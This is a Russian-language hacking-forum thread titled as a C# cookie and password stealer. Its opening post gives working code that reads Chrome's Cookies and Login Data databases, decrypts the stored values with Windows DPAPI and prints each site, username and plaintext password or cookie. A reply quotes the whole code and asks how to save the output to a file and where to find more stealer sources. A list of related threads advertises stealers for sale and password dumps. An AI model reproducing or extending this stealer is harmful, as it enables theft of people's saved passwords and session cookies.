Стиллер куков и паролей c#

Riddle

Original poster
Pro Member
Сообщения
94
Реакции
24
Посетить сайт
Нашел гдет на просторах нета, немного переделал:
Код:
 static public IEnumerable<Tuple<string, string, string>> ReadCookies()
        {
   
            var dbPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Cookies";
            if (!System.IO.File.Exists(dbPath)) throw new System.IO.FileNotFoundException("Cant find cookie store", dbPath);

            var connectionString = "Data Source=" + dbPath + ";pooling=false";

            using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
            using (var cmd = conn.CreateCommand())
            {
             

                cmd.CommandText = "SELECT name,encrypted_value,host_key FROM cookies";

                conn.Open();
                using (var reader = cmd.ExecuteReader())
                {
                    while (reader.Read())
                    {
                        var encryptedData = (byte[])reader[1];

                        var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);
                        var plainText = Encoding.ASCII.GetString(decodedData);

                        yield return Tuple.Create(reader.GetString(2), reader.GetString(0), plainText);

                    }

                }

                conn.Close();
            }
        }




        static public IEnumerable<Tuple<string, string, string>> ReadPass()
        {
            var dbPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data";
            if (!System.IO.File.Exists(dbPath)) throw new System.IO.FileNotFoundException("Cant find Login Data store", dbPath); 

            var connectionString = "Data Source=" + dbPath + ";pooling=false";

            using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
            using (var cmd = conn.CreateCommand())
            {
             

                cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";

                conn.Open();
                using (var reader = cmd.ExecuteReader())
                {
                    while (reader.Read())
                    {
                        var encryptedData = (byte[])reader[0];

                        var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);
                        var plainText = Encoding.ASCII.GetString(decodedData);

                        yield return Tuple.Create(reader.GetString(2),reader.GetString(1), plainText);

                    }

                }

                conn.Close();
            }
        }

Вызвать можно так :
Код:
var cook = ReadCookies();
            foreach (var item in cook)
                Console.WriteLine("{0}  |  {1} : {2}", item.Item1, item.Item2, item.Item3);
            Console.WriteLine();
         

            var pas = ReadPass();
            foreach (var item in pas)
                Console.WriteLine("{0}  |  {1} : {2}", item.Item1, item.Item2, item.Item3);
 
  • Like
Реакции: Kpa6

YoungCoder

Member
Сообщения
4
Реакции
0
Посетить сайт
Нашел гдет на просторах нета, немного переделал:
Код:
 static public IEnumerable<Tuple<string, string, string>> ReadCookies()
        {
  
            var dbPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Cookies";
            if (!System.IO.File.Exists(dbPath)) throw new System.IO.FileNotFoundException("Cant find cookie store", dbPath);

            var connectionString = "Data Source=" + dbPath + ";pooling=false";

            using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
            using (var cmd = conn.CreateCommand())
            {
            

                cmd.CommandText = "SELECT name,encrypted_value,host_key FROM cookies";

                conn.Open();
                using (var reader = cmd.ExecuteReader())
                {
                    while (reader.Read())
                    {
                        var encryptedData = (byte[])reader[1];

                        var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);
                        var plainText = Encoding.ASCII.GetString(decodedData);

                        yield return Tuple.Create(reader.GetString(2), reader.GetString(0), plainText);

                    }

                }

                conn.Close();
            }
        }




        static public IEnumerable<Tuple<string, string, string>> ReadPass()
        {
            var dbPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data";
            if (!System.IO.File.Exists(dbPath)) throw new System.IO.FileNotFoundException("Cant find Login Data store", dbPath);

            var connectionString = "Data Source=" + dbPath + ";pooling=false";

            using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
            using (var cmd = conn.CreateCommand())
            {
            

                cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";

                conn.Open();
                using (var reader = cmd.ExecuteReader())
                {
                    while (reader.Read())
                    {
                        var encryptedData = (byte[])reader[0];

                        var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);
                        var plainText = Encoding.ASCII.GetString(decodedData);

                        yield return Tuple.Create(reader.GetString(2),reader.GetString(1), plainText);

                    }

                }

                conn.Close();
            }
        }

Вызвать можно так :
Код:
var cook = ReadCookies();
            foreach (var item in cook)
                Console.WriteLine("{0}  |  {1} : {2}", item.Item1, item.Item2, item.Item3);
            Console.WriteLine();
        

            var pas = ReadPass();
            foreach (var item in pas)
                Console.WriteLine("{0}  |  {1} : {2}", item.Item1, item.Item2, item.Item3);
А как в файл записать? А есть ещё с куками сорсы?
 
Название темы
Автор Заголовок Раздел Ответы Дата
LightMan Интересно Java - Стиллер паролей в Minecraft моде Другие ЯП 7
M Склейка любого exe (РАТНИК, Стиллер) с docx (WORD) Продажа софта 1
kravl ⚡⚡⚡ Стиллер + Админ Панель |500 РУБ|⚡⚡⚡ Продажа софта 9
snr93 Стиллер всякого на VBS Другие ЯП 1
John15 Стиллер паролей с отправкой по почте. Вирусология 4
A Стиллер + Админ Панель (Читай описание) Pro Продажа софта 9
LittlePsycho Стиллер Mystery, многофункциональный и с выдержкой на любые нагрузки Продажа софта 30
A Стиллер паролей для Chrome и Firefox Уязвимости и взлом 0
MrLeam1 [USB]Стиллер или флешка ВОР) Софт для работы с текстом/Другой софт 40
F Собираю команду для брута паролей. Бруты/Парсеры/Чекеры 0
P Качественный подбор паролей (vk.comOk.ru,WhatsApp.Viber) от [email protected] Взлом сайта, взлом форума - на заказ! Хотите узнать с кем обща Корзина 0
Anorali Интересно Написание стиллера паролей от wifi WiFi/Wardriving/Bluejacking 24
Kot507 Взломщик андроид паролей. Продажа софта 2
E Интересно Ненадёжность хранения паролей TeamViewer Уязвимости и взлом 0
HARD_RESET Пак паролей для расшифровки дампов Другое 6
B AZORult стиллер + HVNC Bot, stealer - Мощный стиллер паролей, CC и криптовалют Корзина 2
MaFio NordPass - менеджер паролей от NordVPN Полезные статьи 0
VipRin1 13 миллиардов почт и паролей пользователей Полезные статьи 11
mrx123 База логинов и паролей Online Уязвимости и взлом 4
Живой_мертвый Генератор паролей C++ С/C++ 0
kdroshev [Pluralsight] Хакинг веб-приложений: взлом функционала по восстановлению паролей Другое 0
T0pDro4eR [Асгард — С первых рук] Самодельный апаратный менеджер паролей Полезные статьи 0
1 Wi-Fi точка для перехвата паролей Kali Linux 4
R 16,5 гб паролей для взлома wifi Kali Linux 2
kdroshev Сборник программ для взлома паролей различных зашифрованных файлов запароленных архивов Другое 1
kdroshev [Pluralsight] Хакинг веб-приложений: взлом функционала по восстановлению паролей Другое 0
Forevonly Seth - MITM атака, перехват RDP паролей. Kali Linux 0
klobald Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету ЧАСТЬ 2 Уязвимости и взлом 0
klobald Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету ЧАСТЬ 1 Уязвимости и взлом 1
Forevonly Слив более 2 миллионов логинов и паролей от E-mail Раздача email 10
hggug77 Огромная база паролей от аккаунтов социальных сетей. Полезные статьи 3
klobald Использование Burp Suite в сценариях человек-посередине (MitM): сбор информации, перехват паролей, заражение бэкдорами Уязвимости и взлом 0
klobald Извлечение всех паролей (веб-браузеры, почтовые программы и пр.) в Windows и Linux Уязвимости и взлом 3
klobald Взлом паролей MS Office, PDF, 7-Zip, RAR, TrueCrypt, Bitcoin/Litecoin wallet.dat, htpasswd в oclHashcat Уязвимости и взлом 0
Forevonly Дешифровщик FTP паролей. Софт для работы с текстом/Другой софт 0
Forevonly ☠️1,4 млрд логинов и паролей Другое 0
Sasha3I8I2 Перехват куки и паролей СИ/Фишинг/Мошенничество 0
shellest Кража паролей: как наши учетки уводят через npm-пакет Уязвимости и взлом 0
shooter Опубликована база данных, включающая 320 млн уникальных хешей паролей Новости в сети 0
ins1der Программы для создания словарей паролей Уязвимости и взлом 0
ins1der Делаем из старенького ноутбука мега скоростной взломщик паролей Полезные статьи 36
AngelOfLove Простенький генератор паролей C# С/C++ 1
turizm200 Сайты с онлайн подбором паролей к WI-FI WiFi/Wardriving/Bluejacking 3
turizm200 Программа для перебора паролей на CPU + GPU под windows (Elcomsoft Wireless Security Auditor) WiFi/Wardriving/Bluejacking 4
dhusss Список паролей для Брута (БОЛЬШОЙ) Другое 16
Kali_linux_123 Скиньте плиз пару словарей паролей Вопросы и интересы 1

Название темы